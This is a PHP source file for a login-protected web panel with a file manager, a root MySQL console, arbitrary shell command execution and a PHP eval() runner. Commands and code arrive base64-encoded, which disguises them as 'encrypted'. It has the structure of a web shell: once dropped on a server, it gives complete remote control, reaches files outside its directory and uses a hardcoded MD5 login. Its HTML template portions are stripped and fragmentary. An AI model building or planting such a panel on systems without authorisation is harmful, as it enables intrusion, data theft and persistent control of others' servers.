__DIR__,
'allow_outside_base' => true,
'enable_cmd' => true,
'crypto' => true,
'db' => [
'host' => '127.0.0.1',
'port' => '',
'user' => 'root',
'pass' => '',
'name' => '',
],
'users' => [
'admin' => 'cbd957f22b55a800668cd57bbae12794',
],
'log' => false,
'log_file' => __DIR__ . '/admin.log',
'max_edit_bytes' => 1024 * 1024,
];
session_start();
class App {
private static $runtimeErrors = array();
private static $handlingFatal = false;
private static $errorHandlingInit = false;
public static function config($key = null) {
global $config;
if ($key === null) {
return $config;
}
return array_key_exists($key, $config) ? $config[$key] : null;
}
public static function h($value) {
$flags = ENT_QUOTES;
if (defined('ENT_SUBSTITUTE')) {
$flags |= ENT_SUBSTITUTE;
}
return htmlspecialchars((string)$value, $flags, 'UTF-8');
}
public static function param($key, $default = null, $decode = false) {
if (array_key_exists($key, $_POST)) {
$value = $_POST[$key];
} elseif (array_key_exists($key, $_GET)) {
$value = $_GET[$key];
} else {
$value = $default;
}
if ($decode && $value !== null && $value !== '') {
if (preg_match('/^[A-Za-z0-9_-]+$/', (string)$value)) {
$decoded = self::dec($value);
if ($decoded !== false) {
return $decoded;
}
}
}
return $value;
}
public static function enc($value) {
if (!self::config('crypto')) {
return $value;
}
return Crypto::enc((string)$value);
}
public static function dec($value) {
if (!self::config('crypto')) {
return $value;
}
return Crypto::dec((string)$value);
}
public static function csrfToken() {
if (empty($_SESSION['csrf'])) {
if (function_exists('random_bytes')) {
$_SESSION['csrf'] = bin2hex(random_bytes(16));
} elseif (function_exists('openssl_random_pseudo_bytes')) {
$_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(16));
} else {
$_SESSION['csrf'] = sha1(uniqid('', true));
}
}
return $_SESSION['csrf'];
}
public static function checkCsrf() {
$session = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
return isset($_POST['csrf']) && self::hashEquals((string)$session, (string)$_POST['csrf']);
}
public static function flash($message = null, $type = 'info') {
if ($message === null) {
$flash = isset($_SESSION['flash']) ? $_SESSION['flash'] : null;
unset($_SESSION['flash']);
return $flash;
}
$_SESSION['flash'] = ['msg' => (string)$message, 'type' => (string)$type];
}
public static function addRuntimeError($message) {
$message = trim((string)$message);
if ($message === '') {
return;
}
self::$runtimeErrors[] = $message;
}
public static function runtimeErrors() {
return self::$runtimeErrors;
}
public static function hashEquals($known, $user) {
if (function_exists('hash_equals')) {
return hash_equals($known, $user);
}
if (!is_string($known) || !is_string($user)) {
return false;
}
$len = strlen($known);
if ($len !== strlen($user)) {
return false;
}
$result = 0;
for ($i = 0; $i < $len; $i++) {
$result |= ord($known[$i]) ^ ord($user[$i]);
}
return $result === 0;
}
public static function initErrorHandling() {
if (self::$errorHandlingInit) {
return;
}
self::$errorHandlingInit = true;
set_error_handler(array('App', 'handleError'));
set_exception_handler(array('App', 'handleException'));
register_shutdown_function(array('App', 'handleShutdown'));
}
public static function handleError($severity, $message, $file, $line) {
if (!(error_reporting() & $severity)) {
return false;
}
$text = (string)$message . ' in ' . (string)$file . ':' . (string)$line;
self::addRuntimeError($text);
if (function_exists('error_log')) {
error_log($text);
}
if ($severity === E_USER_ERROR || $severity === E_RECOVERABLE_ERROR) {
if (class_exists('ErrorException')) {
throw new ErrorException($message, 0, $severity, $file, $line);
}
}
return true;
}
public static function handleException($ex) {
$message = 'Unhandled exception';
$details = '';
if (is_object($ex)) {
$message = get_class($ex) . ': ' . $ex->getMessage();
$details = $ex->getFile() . ':' . $ex->getLine();
}
if (function_exists('error_log')) {
error_log($message . ($details !== '' ? ' at ' . $details : ''));
}
self::renderErrorPage('Application Error', $message, $details);
exit;
}
public static function handleShutdown() {
$error = error_get_last();
if (!is_array($error)) {
return;
}
$fatalTypes = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR);
if (!in_array((int)$error['type'], $fatalTypes, true)) {
return;
}
$message = (string)$error['message'];
$details = (string)$error['file'] . ':' . (string)$error['line'];
if (function_exists('error_log')) {
error_log('Fatal error: ' . $message . ' at ' . $details);
}
self::renderErrorPage('Fatal Error', $message, $details);
}
private static function renderErrorPage($title, $message, $details) {
if (self::$handlingFatal) {
return;
}
self::$handlingFatal = true;
if (!headers_sent()) {
if (function_exists('http_response_code')) {
http_response_code(500);
} else {
header('HTTP/1.1 500 Internal Server Error');
}
header('Content-Type: text/html; charset=utf-8');
}
$safeTitle = self::h($title);
$safeMessage = self::h($message);
$safeDetails = $details !== '' ? self::h($details) : '';
echo '
';
echo '' . $safeTitle . '';
echo '';
echo '
' . $safeTitle . '
' . $safeMessage . '
';
if ($safeDetails !== '') {
echo '
' . $safeDetails . '
';
}
echo '
';
}
public static function redirect($route, array $params = []) {
$params = array_merge(['r' => $route], $params);
$query = http_build_query($params);
header('Location: ?' . $query);
exit;
}
public static function dispatch($route) {
if ($route === 'logout') {
Auth::logout();
}
Auth::handle($route);
Auth::check($route);
switch ($route) {
case 'login':
UI::login();
return;
case 'files':
$data = Files::handle();
UI::layout('Files', 'files', UI::files($data));
return;
case 'db':
$data = DB::handle();
UI::layout('Database', 'db', UI::db($data));
return;
case 'editor':
$data = Editor::handle();
UI::layout('Editor', 'editor', UI::editor($data));
return;
case 'cmd':
$data = Cmd::handle();
UI::layout('Command', 'cmd', UI::cmd($data));
return;
case 'php':
$data = PhpExec::handle();
UI::layout('PHP', 'php', UI::php($data));
return;
case 'system':
UI::layout('System', 'system', UI::system());
return;
default:
UI::layout('Dashboard', 'dashboard', UI::dashboard());
return;
}
}
}
class Auth {
public static function handle($route) {
if ($route !== 'login') {
return;
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
return;
}
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('login');
}
$user = trim((string)App::param('user', ''));
$pass = (string)App::param('pass', '');
if (self::verify($user, $pass)) {
$_SESSION['u'] = $user;
Log::write('login', $user);
App::redirect('dashboard');
}
App::flash('Login failed.', 'error');
App::redirect('login');
}
public static function check($route) {
if (in_array($route, ['login', 'logout'], true)) {
return;
}
if (empty($_SESSION['u'])) {
App::redirect('login');
}
}
public static function verify($user, $pass) {
$users = App::config('users');
if (!isset($users[$user])) {
return false;
}
$stored = (string)$users[$user];
if (stripos($stored, 'md5:') === 0) {
$stored = substr($stored, 4);
}
if (!preg_match('/^[a-f0-9]{32}$/i', $stored)) {
return false;
}
return App::hashEquals(strtolower($stored), md5($pass));
}
public static function logout() {
$user = isset($_SESSION['u']) ? $_SESSION['u'] : '';
$_SESSION = [];
if (function_exists('session_status')) {
if (session_status() === PHP_SESSION_ACTIVE) {
session_regenerate_id(true);
}
} else {
session_regenerate_id(true);
}
if ($user !== '') {
Log::write('logout', $user);
}
App::flash('Logged out.');
App::redirect('login');
}
public static function user() {
return isset($_SESSION['u']) ? $_SESSION['u'] : '';
}
}
class Crypto {
public static function enc($value) {
$b64 = base64_encode($value);
return rtrim(strtr($b64, '+/', '-_'), '=');
}
public static function dec($value) {
$value = strtr($value, '-_', '+/');
$pad = strlen($value) % 4;
if ($pad > 0) {
$value .= str_repeat('=', 4 - $pad);
}
$decoded = base64_decode($value, true);
return $decoded === false ? false : $decoded;
}
}
class Files {
public static function handle() {
$pathInput = trim((string)App::param('path', ''));
$cwd = $pathInput !== '' ? $pathInput : (string)App::param('p', '', true);
$action = (string)App::param('action', '');
if ($action === 'download') {
$file = (string)App::param('file', '', true);
self::download($file);
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('files', ['p' => App::enc($cwd)]);
}
if ($action === 'mkdir') {
$name = (string)App::param('name', '');
if (self::mkdir($cwd, $name)) {
App::flash('Folder created.', 'success');
} else {
App::flash('Failed to create folder.', 'error');
}
App::redirect('files', ['p' => App::enc($cwd)]);
}
if ($action === 'touch') {
$name = (string)App::param('name', '');
if (self::touch($cwd, $name)) {
App::flash('File created.', 'success');
} else {
App::flash('Failed to create file.', 'error');
}
App::redirect('files', ['p' => App::enc($cwd)]);
}
if ($action === 'delete') {
$target = (string)App::param('target', '', true);
if ($target !== '' && self::delete($target)) {
App::flash('Deleted.', 'success');
} else {
App::flash('Delete failed.', 'error');
}
App::redirect('files', ['p' => App::enc($cwd)]);
}
if ($action === 'upload') {
if (!empty($_FILES['upload']) && self::upload($cwd, $_FILES['upload'])) {
App::flash('Upload complete.', 'success');
} else {
App::flash('Upload failed.', 'error');
}
App::redirect('files', ['p' => App::enc($cwd)]);
}
}
$path = self::resolve($cwd);
if ($path === false || !is_dir($path)) {
$cwd = '';
}
$items = self::ls($cwd);
return [
'cwd' => $cwd,
'items' => $items,
];
}
public static function base() {
$base = (string)App::config('base_path');
return rtrim(str_replace('\\', '/', $base), '/');
}
public static function resolve($rel) {
$base = self::base();
$path = self::normalizePath($rel);
if ($path === '' || $path === '.') {
return $base;
}
if (self::isAbsolutePath($path)) {
if (!App::config('allow_outside_base')) {
return false;
}
$real = realpath($path);
if ($real !== false) {
return str_replace('\\', '/', $real);
}
$parent = realpath(dirname($path));
if ($parent === false) {
return false;
}
return str_replace('\\', '/', $path);
}
$path = ltrim($path, '/');
if (strpos($path, '..') !== false) {
return false;
}
$full = $base . '/' . $path;
$real = realpath($full);
if ($real !== false) {
$real = str_replace('\\', '/', $real);
return strpos($real, $base) === 0 ? $real : false;
}
$parent = realpath(dirname($full));
if ($parent === false) {
return false;
}
$parent = str_replace('\\', '/', $parent);
if (strpos($parent, $base) !== 0) {
return false;
}
return str_replace('\\', '/', $full);
}
public static function rel($abs) {
$base = self::base();
$abs = str_replace('\\', '/', $abs);
if (strpos($abs, $base) !== 0) {
return self::normalizePath($abs);
}
return ltrim(substr($abs, strlen($base)), '/');
}
public static function ls($rel) {
$path = self::resolve($rel);
if ($path === false || !is_dir($path)) {
return [];
}
$items = array_diff(scandir($path), ['.', '..']);
$out = [];
foreach ($items as $name) {
$full = $path . '/' . $name;
$isDir = is_dir($full);
$out[] = [
'name' => $name,
'rel' => self::rel($full),
'is_dir' => $isDir,
'size' => $isDir ? 0 : (int)@filesize($full),
'mtime' => (int)@filemtime($full),
];
}
usort($out, function ($a, $b) {
if ($a['is_dir'] === $b['is_dir']) {
return strcasecmp($a['name'], $b['name']);
}
return $a['is_dir'] ? -1 : 1;
});
return $out;
}
public static function mkdir($rel, $name) {
$name = self::safeName($name);
if ($name === '') {
return false;
}
$base = self::resolve($rel);
if ($base === false || !is_dir($base)) {
return false;
}
$target = self::resolve(self::joinPath($rel, $name));
if ($target === false || file_exists($target)) {
return false;
}
return @mkdir($target, 0777);
}
public static function touch($rel, $name) {
$name = self::safeName($name);
if ($name === '') {
return false;
}
$base = self::resolve($rel);
if ($base === false || !is_dir($base)) {
return false;
}
$target = self::resolve(self::joinPath($rel, $name));
if ($target === false || file_exists($target)) {
return false;
}
return @file_put_contents($target, '') !== false;
}
public static function delete($rel) {
if ($rel === '') {
return false;
}
$path = self::resolve($rel);
if ($path === false) {
return false;
}
if (is_dir($path)) {
return @rmdir($path);
}
return @unlink($path);
}
public static function upload($rel, $file) {
$error = isset($file['error']) ? $file['error'] : UPLOAD_ERR_NO_FILE;
if (!is_array($file) || $error !== UPLOAD_ERR_OK) {
return false;
}
$name = self::safeName((string)$file['name']);
if ($name === '') {
return false;
}
$base = self::resolve($rel);
if ($base === false || !is_dir($base)) {
return false;
}
$target = self::resolve(self::joinPath($rel, $name));
if ($target === false) {
return false;
}
return @move_uploaded_file($file['tmp_name'], $target);
}
public static function download($rel) {
$path = self::resolve($rel);
if ($path === false || !is_file($path)) {
return;
}
$name = basename($path);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $name . '"');
header('Content-Length: ' . filesize($path));
readfile($path);
}
private static function normalizePath($path) {
$path = str_replace("\0", '', (string)$path);
$path = str_replace('\\', '/', $path);
$path = trim($path);
if (preg_match('/^[A-Za-z]:$/', $path)) {
$path .= '/';
}
return $path;
}
private static function joinPath($base, $name) {
$base = rtrim(self::normalizePath($base), '/');
if ($base === '') {
return $name;
}
return $base . '/' . $name;
}
private static function isAbsolutePath($path) {
if ($path === '') {
return false;
}
if (strpos($path, '//') === 0 || strpos($path, '/') === 0) {
return true;
}
return (bool)preg_match('/^[A-Za-z]:\//', $path);
}
private static function safeName($name) {
$name = trim(str_replace(["\0", "\r", "\n"], '', (string)$name));
if ($name === '' || $name === '.' || $name === '..') {
return '';
}
if (strpos($name, '/') !== false || strpos($name, '\\') !== false) {
return '';
}
return $name;
}
}
class DB {
public static function handle() {
$data = [
'enabled' => true,
'error' => '',
'dbs' => [],
'tables' => [],
'db' => '',
'table' => '',
'rows' => [],
'sql' => '',
'sql_result' => null,
'sql_error' => '',
'sql_ran' => false,
'cfg' => [],
];
$action = (string)App::param('action', '');
if ($_SERVER['REQUEST_METHOD'] === 'POST' && in_array($action, ['connect', 'disconnect'], true)) {
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('db');
}
if ($action === 'disconnect') {
self::clearCfg();
App::flash('DB settings cleared.', 'info');
App::redirect('db');
}
$current = self::cfg();
$next = [
'host' => trim((string)App::param('host', isset($current['host']) ? $current['host'] : '')),
'port' => trim((string)App::param('port', isset($current['port']) ? $current['port'] : '')),
'user' => trim((string)App::param('user', isset($current['user']) ? $current['user'] : '')),
'pass' => (string)App::param('pass', ''),
'name' => trim((string)App::param('name', isset($current['name']) ? $current['name'] : '')),
];
if ($next['pass'] === '' && isset($current['pass'])) {
$next['pass'] = (string)$current['pass'];
}
self::setCfg($next);
App::flash('DB settings updated.', 'success');
App::redirect('db');
}
$cfg = self::cfg();
$data['cfg'] = $cfg;
if (!self::enabled()) {
$data['enabled'] = false;
$data['error'] = 'PDO not available.';
return $data;
}
if (empty($cfg['host']) || empty($cfg['user'])) {
$data['enabled'] = false;
$data['error'] = 'DB config missing.';
return $data;
}
try {
$pdoRoot = self::pdo();
} catch (Exception $e) {
$data['enabled'] = false;
$data['error'] = $e->getMessage();
return $data;
}
$dbs = self::listDatabases($pdoRoot);
$data['dbs'] = $cfg['name'] !== '' ? [$cfg['name']] : $dbs;
$fallbackDb = isset($data['dbs'][0]) ? $data['dbs'][0] : '';
$data['db'] = (string)App::param('db', $cfg['name'] !== '' ? $cfg['name'] : $fallbackDb, true);
if ($data['db'] !== '' && !self::safeName($data['db'])) {
$data['error'] = 'Invalid database name.';
return $data;
}
$tables = $data['db'] !== '' ? self::listTables($pdoRoot, $data['db']) : [];
$data['tables'] = $tables;
$fallbackTable = isset($tables[0]) ? $tables[0] : '';
$data['table'] = (string)App::param('table', $fallbackTable, true);
if ($data['table'] !== '' && !self::safeName($data['table'])) {
$data['error'] = 'Invalid table name.';
return $data;
}
if ($data['table'] !== '' && !in_array($data['table'], $tables, true)) {
$data['table'] = isset($tables[0]) ? $tables[0] : '';
}
$tableValid = $data['table'] !== '' && in_array($data['table'], $tables, true);
if ($action === 'export' && $data['db'] !== '' && $tableValid) {
self::exportCsv($data['db'], $data['table']);
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $action === 'sql') {
$data['sql_ran'] = true;
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('db', ['db' => App::enc($data['db']), 'table' => App::enc($data['table'])]);
}
$sql = trim((string)App::param('sql', ''));
if ($sql !== '' && $data['table'] !== '' && preg_match('/^\s*select\b/i', $sql) && !preg_match('/\bfrom\b/i', $sql)) {
$sql = rtrim($sql, ";\r\n\t ") . ' FROM ' . self::quoteName($data['table']);
}
$data['sql'] = $sql;
if ($sql !== '') {
try {
$data['sql_result'] = self::runSql($data['db'], $sql);
} catch (Exception $e) {
$data['sql_error'] = $e->getMessage();
}
}
}
if ($data['db'] !== '' && $tableValid) {
try {
$data['rows'] = self::listRows($data['db'], $data['table'], 50);
} catch (Exception $e) {
$data['error'] = $e->getMessage();
}
}
return $data;
}
public static function enabled() {
return class_exists('PDO');
}
public static function pdo($dbName = null) {
$cfg = self::cfg();
$dsn = 'mysql:host=' . $cfg['host'] . ';charset=utf8mb4';
if (!empty($cfg['port']) && ctype_digit((string)$cfg['port'])) {
$dsn .= ';port=' . (string)$cfg['port'];
}
if (!empty($dbName)) {
$dsn .= ';dbname=' . $dbName;
}
return new PDO($dsn, $cfg['user'], $cfg['pass'], [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
}
public static function listDatabases(PDO $pdo) {
$rows = $pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN);
return is_array($rows) ? $rows : [];
}
public static function listTables(PDO $pdo, $db) {
if (!self::safeName($db)) {
return [];
}
$rows = $pdo->query('SHOW TABLES FROM ' . self::quoteName($db))->fetchAll(PDO::FETCH_COLUMN);
return is_array($rows) ? $rows : [];
}
public static function listRows($db, $table, $limit) {
if (!self::safeName($db) || !self::safeName($table)) {
return [];
}
$pdo = self::pdo($db);
$sql = 'SELECT * FROM ' . self::quoteName($db) . '.' . self::quoteName($table) . ' LIMIT ' . (int)$limit;
return $pdo->query($sql)->fetchAll(PDO::FETCH_ASSOC);
}
public static function exportCsv($db, $table) {
if (!self::safeName($db) || !self::safeName($table)) {
return;
}
$pdo = self::pdo($db);
$stmt = $pdo->query('SELECT * FROM ' . self::quoteName($db) . '.' . self::quoteName($table));
$name = $db . '_' . $table . '.csv';
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename="' . $name . '"');
$out = fopen('php://output', 'w');
$first = true;
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
if ($first) {
fputcsv($out, array_keys($row));
$first = false;
}
fputcsv($out, $row);
}
fclose($out);
}
public static function runSql($db, $sql) {
$pdo = self::pdo($db !== '' ? $db : null);
if (preg_match('/^\s*select/i', $sql)) {
$stmt = $pdo->query($sql);
return ['type' => 'select', 'rows' => $stmt->fetchAll(PDO::FETCH_ASSOC)];
}
$count = $pdo->exec($sql);
return ['type' => 'exec', 'count' => $count];
}
private static function safeName($name) {
return (bool)preg_match('/^[A-Za-z0-9_]+$/', (string)$name);
}
private static function quoteName($name) {
return '`' . str_replace('`', '``', (string)$name) . '`';
}
private static function cfg() {
$cfg = App::config('db');
if (!is_array($cfg)) {
$cfg = [];
}
$session = isset($_SESSION['db_cfg']) ? $_SESSION['db_cfg'] : null;
if (is_array($session)) {
$cfg = array_merge($cfg, $session);
}
$allowed = ['host', 'port', 'user', 'pass', 'name'];
$filtered = [];
foreach ($allowed as $key) {
$filtered[$key] = isset($cfg[$key]) ? $cfg[$key] : '';
}
return $filtered;
}
private static function setCfg(array $cfg) {
$allowed = ['host', 'port', 'user', 'pass', 'name'];
$filtered = [];
foreach ($allowed as $key) {
$filtered[$key] = isset($cfg[$key]) ? $cfg[$key] : '';
}
$_SESSION['db_cfg'] = $filtered;
}
private static function clearCfg() {
unset($_SESSION['db_cfg']);
}
}
class Editor {
public static function handle() {
$file = (string)App::param('file', '', true);
$data = [
'file' => $file,
'content' => '',
'error' => '',
];
if ($file === '') {
$data['error'] = 'No file selected.';
return $data;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'save') {
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('editor', ['file' => App::enc($file)]);
}
if (!array_key_exists('content_enc', $_POST)) {
App::flash('Encrypted content missing.', 'error');
App::redirect('editor', ['file' => App::enc($file)]);
}
$contentEnc = (string)$_POST['content_enc'];
$content = Crypto::dec($contentEnc);
if ($content === false) {
App::flash('Encrypted content invalid.', 'error');
App::redirect('editor', ['file' => App::enc($file)]);
}
if (self::save($file, $content)) {
App::flash('Saved.', 'success');
} else {
App::flash('Save failed.', 'error');
}
App::redirect('editor', ['file' => App::enc($file)]);
}
$loaded = self::load($file);
if (!$loaded['ok']) {
$data['error'] = $loaded['error'];
return $data;
}
$data['content'] = $loaded['content'];
return $data;
}
public static function load($rel) {
$path = Files::resolve($rel);
if ($path === false || !is_file($path)) {
return ['ok' => false, 'content' => '', 'error' => 'File not found.'];
}
$max = (int)App::config('max_edit_bytes');
if ($max > 0 && filesize($path) > $max) {
return ['ok' => false, 'content' => '', 'error' => 'File too large to edit.'];
}
$content = @file_get_contents($path);
if ($content === false) {
return ['ok' => false, 'content' => '', 'error' => 'Failed to read file.'];
}
return ['ok' => true, 'content' => $content, 'error' => ''];
}
public static function save($rel, $content) {
$path = Files::resolve($rel);
if ($path === false || is_dir($path)) {
return false;
}
return @file_put_contents($path, $content) !== false;
}
}
class Cmd {
public static function handle() {
$methods = self::availableMethods();
$data = [
'enabled' => App::config('enable_cmd'),
'supported' => !empty($methods),
'methods' => $methods,
'method' => '',
'output' => '',
'exit_code' => null,
'cmd' => '',
'error' => '',
];
if (!$data['enabled']) {
return $data;
}
if (!$data['supported']) {
$data['error'] = 'Command execution not supported.';
return $data;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'run') {
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('cmd');
}
if (!array_key_exists('cmd_enc', $_POST)) {
$data['error'] = 'Encrypted command missing.';
return $data;
}
$cmd = Crypto::dec((string)$_POST['cmd_enc']);
if ($cmd === false) {
$data['error'] = 'Encrypted command invalid.';
return $data;
}
$cmd = trim((string)$cmd);
$data['cmd'] = $cmd;
if ($cmd === '') {
$data['error'] = 'No command provided.';
return $data;
}
$result = self::run($cmd);
$data['output'] = $result['output'];
$data['exit_code'] = $result['exit_code'];
$data['method'] = $result['method'];
}
return $data;
}
public static function can() {
return !empty(self::availableMethods());
}
public static function availableMethods() {
$disabled = array_filter(array_map('trim', explode(',', (string)ini_get('disable_functions'))));
$methods = [];
foreach (['proc_open', 'exec', 'shell_exec', 'system', 'passthru'] as $fn) {
if (function_exists($fn) && !in_array($fn, $disabled, true)) {
$methods[] = $fn;
}
}
return $methods;
}
public static function run($cmd) {
$methods = self::availableMethods();
$prepared = self::prepareCommand($cmd);
foreach ($methods as $method) {
if ($method === 'proc_open') {
$spec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w'],
];
$process = proc_open($prepared, $spec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit = proc_close($process);
return [
'output' => self::normalizeOutput((string)$stdout . (string)$stderr),
'exit_code' => $exit,
'method' => 'proc_open',
];
}
}
if ($method === 'exec') {
$output = [];
$exit = 0;
exec($prepared . ' 2>&1', $output, $exit);
return [
'output' => self::normalizeOutput(implode("\n", $output)),
'exit_code' => $exit,
'method' => 'exec',
];
}
if ($method === 'shell_exec') {
$out = shell_exec($prepared . ' 2>&1');
return [
'output' => self::normalizeOutput((string)$out),
'exit_code' => null,
'method' => 'shell_exec',
];
}
if ($method === 'system') {
$exit = 0;
ob_start();
system($prepared . ' 2>&1', $exit);
$out = ob_get_clean();
return [
'output' => self::normalizeOutput((string)$out),
'exit_code' => $exit,
'method' => 'system',
];
}
if ($method === 'passthru') {
$exit = 0;
ob_start();
passthru($prepared . ' 2>&1', $exit);
$out = ob_get_clean();
return [
'output' => self::normalizeOutput((string)$out),
'exit_code' => $exit,
'method' => 'passthru',
];
}
}
return [
'output' => '',
'exit_code' => null,
'method' => 'none',
];
}
private static function prepareCommand($cmd) {
$cmd = trim((string)$cmd);
$os = defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS;
if (stripos($os, 'Windows') !== false && !preg_match('/^\s*cmd\s+\/c\s+/i', $cmd)) {
return 'cmd /c ' . $cmd;
}
return $cmd;
}
private static function normalizeOutput($text) {
$text = (string)$text;
if ($text === '') {
return $text;
}
if (function_exists('mb_check_encoding') && mb_check_encoding($text, 'UTF-8')) {
return $text;
}
if (function_exists('mb_detect_encoding')) {
$enc = mb_detect_encoding($text, ['UTF-8', 'GBK', 'CP936', 'BIG5', 'CP1252', 'ISO-8859-1'], true);
if ($enc && strtoupper($enc) !== 'UTF-8') {
$converted = @mb_convert_encoding($text, 'UTF-8', $enc);
if ($converted !== false) {
return $converted;
}
}
}
if (function_exists('iconv')) {
$converted = @iconv('GBK', 'UTF-8//IGNORE', $text);
if ($converted !== false && $converted !== '') {
return $converted;
}
}
return $text;
}
}
class PhpExec {
public static function handle() {
$data = [
'code' => '',
'output' => '',
'return' => '',
'error' => '',
'ran' => false,
];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && App::param('action') === 'run') {
if (!App::checkCsrf()) {
App::flash('Invalid token.', 'error');
App::redirect('php');
}
if (!array_key_exists('code_enc', $_POST)) {
$data['error'] = 'Encrypted code missing.';
return $data;
}
$code = Crypto::dec((string)$_POST['code_enc']);
if ($code === false) {
$data['error'] = 'Encrypted code invalid.';
return $data;
}
$code = self::normalizeCode((string)$code);
if ($code === '') {
$data['error'] = 'No code provided.';
return $data;
}
$data['code'] = $code;
$data['ran'] = true;
$output = '';
$result = null;
if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
try {
ob_start();
$result = eval($code);
$output = ob_get_clean();
} catch (Throwable $e) {
$output = ob_get_clean();
$data['error'] = $e->getMessage();
}
} else {
try {
ob_start();
$result = eval($code);
$output = ob_get_clean();
} catch (Exception $e) {
$output = ob_get_clean();
$data['error'] = $e->getMessage();
}
}
$data['output'] = (string)$output;
if ($data['error'] === '') {
$data['return'] = var_export($result, true);
}
}
return $data;
}
private static function normalizeCode($code) {
$code = preg_replace('/^\s*<\?php/i', '', $code);
$code = preg_replace('/\?>\s*$/', '', $code);
return trim((string)$code);
}
}
class UI {
public static function layout($title, $route, $body) {
$user = Auth::user();
$flash = App::flash();
$runtimeErrors = App::runtimeErrors();
$nav = self::navItems();
App::csrfToken();
?>
Login
Base path:
Crypto:
Command:
DB host:
Use the sidebar to access modules.
$seg, 'path' => $path];
}
ob_start();
?>
| Name |
Type |
Size |
Modified |
Actions |
| Empty directory. |
|
|
|
|
|
Edit
Download
|
Rows affected:
Rows:
Command module disabled.
Available methods:
| PHP Version | |
| OS | |
| Server Time | |
| Base Path | |
| Crypto | |
| Command | |
'Dashboard',
'files' => 'Files',
'db' => 'Database',
'editor' => 'Editor',
'cmd' => 'Command',
'php' => 'PHP',
'system' => 'System',
];
if (!App::config('enable_cmd')) {
unset($items['cmd']);
}
return $items;
}
}
class Log {
public static function write($action, $detail = '') {
if (!App::config('log')) {
return;
}
$user = Auth::user();
$line = date('c') . ' ' . $user . ' ' . $action . ' ' . $detail . "\n";
@file_put_contents(App::config('log_file'), $line, FILE_APPEND | LOCK_EX);
}
}
App::initErrorHandling();
$route = (string)App::param('r', 'dashboard');
App::dispatch($route);